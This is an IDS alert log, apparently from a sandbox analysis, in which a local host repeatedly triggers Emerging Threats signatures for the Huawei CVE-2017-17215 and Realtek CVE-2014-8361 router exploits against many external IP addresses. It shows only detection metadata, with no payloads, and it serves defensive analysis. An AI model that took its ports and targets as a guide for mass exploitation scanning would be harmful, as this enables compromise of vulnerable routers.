ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.241.202.23

Timestamp:	07/20/24-23:01:14.508164
SID:	2027339
Source Port:	49210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.44.202.147

Timestamp:	07/20/24-23:01:06.801544
SID:	2829579
Source Port:	56866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 133.115.216.238

Timestamp:	07/20/24-23:01:32.264711
SID:	2829579
Source Port:	55360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.77.179.109

Timestamp:	07/20/24-23:00:59.023270
SID:	2829579
Source Port:	42570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.87.103.106

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	45410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 193.107.65.164

Timestamp:	07/20/24-23:01:14.502058
SID:	2831300
Source Port:	33634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.173.117.30

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	39726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.252.230.80

Timestamp:	07/20/24-23:01:25.460589
SID:	2835222
Source Port:	56396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 141.36.128.134

Timestamp:	07/20/24-23:01:14.539078
SID:	2027339
Source Port:	45066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 1.212.57.243

Timestamp:	07/20/24-23:01:14.570907
SID:	2831300
Source Port:	37220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.164.169.253

Timestamp:	07/20/24-23:01:14.513211
SID:	2831300
Source Port:	48442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 76.239.185.4

Timestamp:	07/20/24-23:01:06.287282
SID:	2027339
Source Port:	37558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 157.51.202.158

Timestamp:	07/20/24-23:01:27.354009
SID:	2027339
Source Port:	34352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.88.127.111

Timestamp:	07/20/24-23:01:36.846304
SID:	2835222
Source Port:	55204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.92.123

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	35324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 113.33.105.127

Timestamp:	07/20/24-23:01:06.799605
SID:	2829579
Source Port:	52284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.73.51.105

Timestamp:	07/20/24-23:01:27.283164
SID:	2829579
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 164.229.75.25

Timestamp:	07/20/24-23:01:27.237698
SID:	2835222
Source Port:	53094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.120.154

Timestamp:	07/20/24-23:01:04.861979
SID:	2829579
Source Port:	53592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 138.112.34.112

Timestamp:	07/20/24-23:01:20.563042
SID:	2025132
Source Port:	52508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.175.226

Timestamp:	07/20/24-23:01:36.781255
SID:	2835222
Source Port:	56918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 117.238.157.130

Timestamp:	07/20/24-23:01:25.390960
SID:	2829579
Source Port:	45836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 2.82.37.56

Timestamp:	07/20/24-23:01:32.267589
SID:	2829579
Source Port:	60298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 107.240.237.92

Timestamp:	07/20/24-23:01:07.555762
SID:	2025132
Source Port:	53292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.252.251.212

Timestamp:	07/20/24-23:01:14.516654
SID:	2027339
Source Port:	51268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 112.136.148.134

Timestamp:	07/20/24-23:01:07.457703
SID:	2027339
Source Port:	42968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 103.178.1.192

Timestamp:	07/20/24-23:01:27.360753
SID:	2831300
Source Port:	39262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 84.26.238.160

Timestamp:	07/20/24-23:01:14.520422
SID:	2831300
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.147.219.6

Timestamp:	07/20/24-23:01:25.460589
SID:	2835222
Source Port:	51320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 117.212.142.220

Timestamp:	07/20/24-23:01:36.850101
SID:	2835222
Source Port:	58386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 59.52.78.111

Timestamp:	07/20/24-23:01:08.391767
SID:	2829579
Source Port:	39274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.46.164

Timestamp:	07/20/24-23:00:59.021140
SID:	2835222
Source Port:	45338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.27.82.47

Timestamp:	07/20/24-23:01:12.484346
SID:	2829579
Source Port:	59962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 201.248.6.28

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.106.94.160

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	38282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.115.125.161

Timestamp:	07/20/24-23:01:27.285139
SID:	2835222
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 211.247.29.248

Timestamp:	07/20/24-23:01:14.533681
SID:	2831300
Source Port:	39518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.160.238.161

Timestamp:	07/20/24-23:01:27.297470
SID:	2835222
Source Port:	47420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.245.110.242

Timestamp:	07/20/24-23:00:59.020375
SID:	2835222
Source Port:	50918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.245.241

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	53506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 96.235.29.144

Timestamp:	07/20/24-23:01:14.575911
SID:	2025132
Source Port:	46990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.248.105

Timestamp:	07/20/24-23:01:25.456024
SID:	2829579
Source Port:	34406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.24.150.210

Timestamp:	07/20/24-23:01:32.206638
SID:	2835222
Source Port:	38892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.96.38.237

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	49334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.42.124.218

Timestamp:	07/20/24-23:00:59.055046
SID:	2829579
Source Port:	43024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.223.139.197

Timestamp:	07/20/24-23:01:27.358600
SID:	2027339
Source Port:	56658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 97.114.117.29

Timestamp:	07/20/24-23:01:05.609671
SID:	2025132
Source Port:	53956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.135.54.218

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	36008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.129.1.105

Timestamp:	07/20/24-23:01:36.787101
SID:	2829579
Source Port:	55328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.114.67.30

Timestamp:	07/20/24-23:00:59.021856
SID:	2835222
Source Port:	57934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.211.89.122

Timestamp:	07/20/24-23:01:12.357577
SID:	2835222
Source Port:	43688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 84.156.35.88

Timestamp:	07/20/24-23:01:27.355018
SID:	2831300
Source Port:	33976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.137.24.118

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	50624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.131.92

Timestamp:	07/20/24-23:01:22.737918
SID:	2835222
Source Port:	36226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.212.24.174

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	54888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.33.143.75

Timestamp:	07/20/24-23:01:04.960605
SID:	2027339
Source Port:	47374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.91.33.73

Timestamp:	07/20/24-23:01:36.866693
SID:	2829579
Source Port:	47212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 95.49.112.227

Timestamp:	07/20/24-23:01:07.550390
SID:	2025132
Source Port:	55746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.147.113.171

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	39954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.27.247.39

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	51210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.128.154.178

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	34676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.205.229

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	37604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 62.126.184.91

Timestamp:	07/20/24-23:01:14.530141
SID:	2027339
Source Port:	39228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.54.255

Timestamp:	07/20/24-23:01:02.594487
SID:	2835222
Source Port:	33622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 217.47.253.96

Timestamp:	07/20/24-23:00:59.022999
SID:	2829579
Source Port:	49980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.99.139.53

Timestamp:	07/20/24-23:01:17.773605
SID:	2835222
Source Port:	58908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.195.203.155

Timestamp:	07/20/24-23:01:22.738019
SID:	2835222
Source Port:	45424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 195.228.120.248

Timestamp:	07/20/24-23:01:06.171643
SID:	2027339
Source Port:	39944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.185.169

Timestamp:	07/20/24-23:01:12.543114
SID:	2829579
Source Port:	39056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 43.240.11.124

Timestamp:	07/20/24-23:01:14.544463
SID:	2027339
Source Port:	46230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.186.203.198

Timestamp:	07/20/24-23:01:32.252814
SID:	2829579
Source Port:	60512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.26.157.201

Timestamp:	07/20/24-23:01:02.685657
SID:	2835222
Source Port:	32996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.91.253

Timestamp:	07/20/24-23:01:32.259331
SID:	2835222
Source Port:	55504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 143.236.166.197

Timestamp:	07/20/24-23:01:14.503288
SID:	2027339
Source Port:	44494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 169.107.232.198

Timestamp:	07/20/24-23:01:32.201728
SID:	2835222
Source Port:	56450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.157.73.107

Timestamp:	07/20/24-23:01:36.787101
SID:	2829579
Source Port:	60860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.232.225.193

Timestamp:	07/20/24-23:01:14.547545
SID:	2831300
Source Port:	59308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.11.18.169

Timestamp:	07/20/24-23:00:59.022941
SID:	2829579
Source Port:	38556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 89.83.219.148

Timestamp:	07/20/24-23:01:27.362964
SID:	2025132
Source Port:	59164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.93.90.227

Timestamp:	07/20/24-23:01:22.736667
SID:	2835222
Source Port:	49064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.221.20

Timestamp:	07/20/24-23:01:36.787101
SID:	2835222
Source Port:	35164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.206.41.168

Timestamp:	07/20/24-23:01:17.785461
SID:	2835222
Source Port:	55268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.65.13.85

Timestamp:	07/20/24-23:01:25.413015
SID:	2835222
Source Port:	41520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 63.139.62.111

Timestamp:	07/20/24-23:01:06.002151
SID:	2027339
Source Port:	35948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.71.12.189

Timestamp:	07/20/24-23:01:12.356775
SID:	2835222
Source Port:	39062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 168.200.41.227

Timestamp:	07/20/24-23:01:27.358600
SID:	2831300
Source Port:	41592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.150.61

Timestamp:	07/20/24-23:01:22.810316
SID:	2835222
Source Port:	36086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.29.132.43

Timestamp:	07/20/24-23:01:04.853128
SID:	2835222
Source Port:	54338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.160.78.157

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	46596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.9.88

Timestamp:	07/20/24-23:01:36.850221
SID:	2835222
Source Port:	60342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 70.194.220.73

Timestamp:	07/20/24-23:01:05.570843
SID:	2027339
Source Port:	35784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.136.112

Timestamp:	07/20/24-23:01:04.858015
SID:	2835222
Source Port:	48948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.55.227

Timestamp:	07/20/24-23:01:25.443184
SID:	2835222
Source Port:	47248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 156.218.218.173

Timestamp:	07/20/24-23:01:05.005729
SID:	2027339
Source Port:	40360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.124.41.173

Timestamp:	07/20/24-23:01:14.998444
SID:	2829579
Source Port:	48702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.214.82.82

Timestamp:	07/20/24-23:01:36.799485
SID:	2829579
Source Port:	38828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.153.183.158

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	50636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.193.161

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	48162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.75.65.56

Timestamp:	07/20/24-23:01:36.862442
SID:	2835222
Source Port:	58130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 210.103.19.185

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	44036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 38.49.123.120

Timestamp:	07/20/24-23:01:04.592586
SID:	2027339
Source Port:	44176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.75.191.9

Timestamp:	07/20/24-23:01:08.407067
SID:	2829579
